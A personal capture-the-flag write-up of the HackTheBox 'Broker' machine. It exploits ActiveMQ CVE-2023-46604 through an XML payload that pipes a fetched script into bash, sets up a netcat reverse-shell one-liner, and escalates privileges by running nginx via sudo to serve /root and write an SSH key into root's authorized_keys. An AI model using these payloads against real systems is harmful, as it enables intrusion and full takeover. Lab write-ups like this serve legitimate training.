HackTheBox: Broker


This is a straight-to-retired easy linux box that came out a few days ago.


We have a LOT of ports open. I'm not sure if these are all relevant or not:

22/tcp    open  ssh
80/tcp    open  http
1883/tcp  open  mqtt
5672/tcp  open  amqp
34951/tcp open  unknown
61613/tcp open  unknown
61614/tcp open  unknown
61616/tcp open  unknown

Script scan shows that the machine appears to be running Ubuntu.

mqtt is an IoT messaging protocol for sensors and mobile devices.

Enumerating the website

I will manually investigate the website while running some automatic recon tools in the background. Ill be running: 1) nikto 2) gobuster dir scan 3) gobuster vhost scan

Nikto found credentials almost instantly:

+ /: Default account found for 'ActiveMQRealm' at (ID 'admin', PW 'admin'). Generic account discovered.. See: CWE-16

so we should have some credentials, admin:admin

The password found is for Apache's ActiveMQ, which describes itself as

Apache ActiveMQ® is the most popular open source, multi-protocol, Java-based message broker.

IBM defines a "message broker" as

A message broker is software that enables applications, systems, and services to communicate with each other and exchange information.

Funny enough, the ActiveMQ website has a bulletin titled ==Update on CVE-2023-46604== from November third (the box released november 9th). Let's see what that's about.


From the activemq website (https://activemq.apache.org/news/cve-2023-46604):

The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution. This vulnerability may allow a remote attacker with network access to either a Java-based OpenWire broker or client to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause either the client or the broker (respectively) to instantiate any class on the classpath.

Getting a revshell using PoC

I used the proof-of-concept found here (https://github.com/X1r0z/ActiveMQ-RCE) to get a revshell. Putting the shell directly in poc.xml didnt work, so what I wound up doing was using the payload to curl a revshell script from my python server and pipe it into bash. This wound up working.

The poc.xml file:

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
                <value>curl | bash</value>


rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f

and the command:

./ActiveMQ-RCE -i broker.htb -u

Now, on my listener.

$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 57204
/bin/sh: 0: can't access tty; job control turned off
$ whoami

Nice. Lets upgrade this thing and get to work.

Internal enumeration/priv esc

No other users except root. Kernel was compiled october 3rd, so I want to check if it's vulnerable to the Looney Tunables exploit, CVE-2023-4911.

gcc is available on the machine which is a good sign.

It does NOT appear to be vulnerable based on the fact that this line does not produce a seg fault:

env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help

I didnt even bother checking sudo -l because I don't know this user's password (activemq), but linpeas found that he CAN run sudo:

activemq@broker:/opt/apache-activemq-5.15.15$ sudo -l 
Matching Defaults entries for activemq on broker:
    env_reset, mail_badpass,

User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

So I can run nginx with sudo. Time to check gtfobins: nothing.

Time for some brainstorming.

Leveraging nginx with sudo

I think I cheated here. I did not actually get a root shell, but I got a root-privileged LFI by modifying the config file to point to /root/root.txt, then running an nginx server as root with this conf file using sudo nginx -c /home/activemq/nginx.conf. The file is:

user root;
worker_processes auto;

events {
        worker_connections 768;
        # multi_accept on;

http {

        # Basic Settings

        sendfile on;
        tcp_nopush on;
        types_hash_max_size 2048;
        # server_tokens off;

        # server_names_hash_bucket_size 64;
        # server_name_in_redirect off;

        include /etc/nginx/mime.types;
        default_type application/octet-stream;

        # SSL Settings

        ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
        ssl_prefer_server_ciphers on;

        # Logging Settings

        access_log /home/activemq/access.log;
        error_log /home/activemq/error.log;

        # Gzip Settings

        gzip on;

        # gzip_vary on;
        # gzip_proxied any;
        # gzip_comp_level 6;
        # gzip_buffers 16 8k;
        # gzip_http_version 1.1;
        # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

        # Virtual Host Configs
        server {
                listen 1357;
                location / {
                root /root;
                index root.txt;


#mail {
#       # See sample authentication script at:
#       # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript
#       # auth_http localhost/auth.php;
#       # pop3_capabilities "TOP" "USER";
#       # imap_capabilities "IMAP4rev1" "UIDPLUS";
#       server {
#               listen     localhost:110;
#               protocol   pop3;
#               proxy      on;
#       }
#       server {
#               listen     localhost:143;
#               protocol   imap;
#               proxy      on;
#       }

The important parts are here:

user root;


        server {
                listen 1337;
                location / {
                root /root;
                index root.txt;

This opens a server on 1337 that fetches the root flag as the index. It worked.

At this point Im going to read the writeup to see what the INTENDED method was.

I was going to try to get root shell with log poisoning, but this machine doesnt have PHP.

All told this took about 3 hours and 15 minutes.

The Intended Route

From the writeup:

Checking our sudo privileges reveals that we can load our own nginx configuration file.
There are a few different approaches one could take at this point to leverage this configuration to
obtain root privileges, such as the method disclosed in this Zimbra article back in 2021, which
involved writing a log file into a shared object library loaded by sudo .
However, we opt for a much simpler route: we will use the ngx_http_dav_module to write our
public SSH key into the root user's authorized_keys file.

It's funny how similar their conf file is to mine; they even used the same port, 1337:

user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
	worker_connections 768;
http {
	server {
		listen 1337;
		root /;
		autoindex on;
		dav_methods PUT;

It explains the dav_methods line as follows:

dav_methods PUT : We enable the WebDAV HTTP extension with the PUT method, which
allows clients to upload files.

They launch the server the same way I did, using

sudo nginx -c /tmp/pwn.conf

Then they upload ssh public key as follows:

curl -X PUT localhost:1337/root/.ssh/authorized_keys -d "$(cat root.pub)"

Okay. I followed the above process, then ssh'd in and got root: